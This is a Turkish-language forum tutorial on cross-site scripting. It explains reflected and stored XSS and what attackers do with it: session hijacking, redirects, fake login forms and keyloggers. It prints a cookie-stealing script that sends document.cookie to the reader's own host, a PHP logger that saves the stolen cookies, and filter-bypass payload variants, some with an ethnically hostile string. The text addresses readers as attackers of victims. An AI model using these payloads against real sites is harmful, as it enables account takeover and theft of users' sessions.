Bu yazıda genel olarak xss hakkında bilgiler vermeye çalışacağım. Yazının sonunda kafanızdaki bazı soru işaretlerinin gitmiş olacağını dileyerek başlayalım.
Öncelikler xss nedir?
Açılım olarak cross site scripting yani çapraz kod çalıştırma olarak bilinen bir tekniktir.
Ne kodu , ne çalıştırılıyor ?
Site üzerinde genellikle html / javascript kodlarının enjekte edilerek çalıştırılması olayı. Tabi vbscript, flash vs. de kullanılabilir.
Yaygınlık derecesi nasıl?
En yaygın açıklardan diyebilirim. Pek önemsenmiyor gibi görünse de çok ciddi sonuçlar doğurabilecek bir açık. Yahoo, twitter, hotmail, fbi, nasa gibi yerlerin sitelerinde dahi bulunabiliyor :P
Ne çeşitleri var?
Kategorize edersek birkaç çeşit xss den söz edebiliriz. Ama ben 2 en yaygın iki tanesinden söz edeceğim. Birincisi geri dönüşümlü olan tip. Burada arama kutucuklarına, giriş yapılan kutucuklara ya da url nin sonuna kod ekleniyor. Enterladığınızda yansıma şeklinde uyarı veriyor. Tabi burada sayfaya da yazabiliyorsunuz. Mesela urleye js ile resim koyarsanız sayfaya basabilirsiniz. Ancak kalıcı bir kod söz konusu değil. Bunu şöyle de düşünebilirsiniz. Örneğin bir sitenin arama kutucuğuna oyun yazdınız. O da size oyun kelimesiyle ilgili sonuçları gösterdi. Ama yazdığınız kelime herhangi bir yerde kaydedilmiyor. Yalnızca sonuçlar ekrana basılıyor. Çalıştırdığınız javascript kodları da bu mantıktaki gibi işleyecektir. İkincisi kalıcı olarak gömülen. Bunda mesela ziyaretçi defteri, yorum kutuları, forum tarzı sitelerde kodu mesaj yazar gibi gömüyorsunuz.
Bu açıkla neler yapılabilir?
Bir çok kişinin de tahmin ettiği gibi cookie çalınabilir. Yetkili kişinin cookiesini çaldığınızda o cookieyi kendi tarayıcınızdan girerek sanki onun şifresini yazmış gibi kurbanın oturumunu açabilirsiniz. Bunun dışında daha birçok yapılabilecek şey var. Iframe atabilirsiniz, yönlendirme yapabilirsiniz, fake giriş yerleri oluşturup kurbana yedirmeye çalışabilirsiniz. Daha tehlikeli olarak bazı tarayıcı açıklarından vs. faydalanıp kurbanın pcsine girebilirsiniz. Javascrip keylogger ile birtakım şeyler yapabilirsiniz.
Bir kaç js örnek kodu görsek, mesela cookie için?
En yaygın olanı Kod:
<script>alert(123)</script>
Çalıştırdığınızda ekrana 123 vurması gerekiyor. 123 yerine document.cookie derseniz cookie vurur. Bunu
Kod:
<SCRIPT>location.href='http://www.siteniz.com/cookie.php?cookie='+escape(document.cookie)</SCRIPT>
şeklinde geliştirebilirsiniz.
cookie.php gelen cookieleri loglayan bir logcu olacak
mesela cookie.php
Kod:
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookie . "nn");
fclose($file);
?>
şeklinde olabilir bu örnek için.
Bazı sitelerde açık olmasına rağmen işlemiyormuş. Filtreleme felan yapılıyormuş?
Bu konuda bypass teknikleri var. Zaten eğer siteyi acunetix veya onun gibi kaliteli açık tarayıcılarla taratırsanız bulur. Ama tabi küçük şeyler bunlar bilmek lazım. Bide encode etme var onu zaten bilmek gerekiyor.
İlk olarak
Kod:
')alert('xss');
;alert('xss');
Denenebilir. Daha farklı olarak js komutunuzda;
Kod:
<script type=text/javascript>alert("anti-armenia")</script>
<script>alert("anti-armenia");</script>
<script>alert("anti-armenia"/)</script>
<script>var deger=1;alert("anti-armenia")</script>
Şeklinde de sonuç verebilir. Encode etme ve referans için http://ha.ckers.org/xss.html burayı ziyaret edin. Encode için hex leme ve char işlemlerini uygulayabilirsiniz. Kimse ne yazdığını önceden göstermek istemez heralde
Tabi kendinizi geliştirmek size kalmış. Şimdilik bu kadar.
Selametle..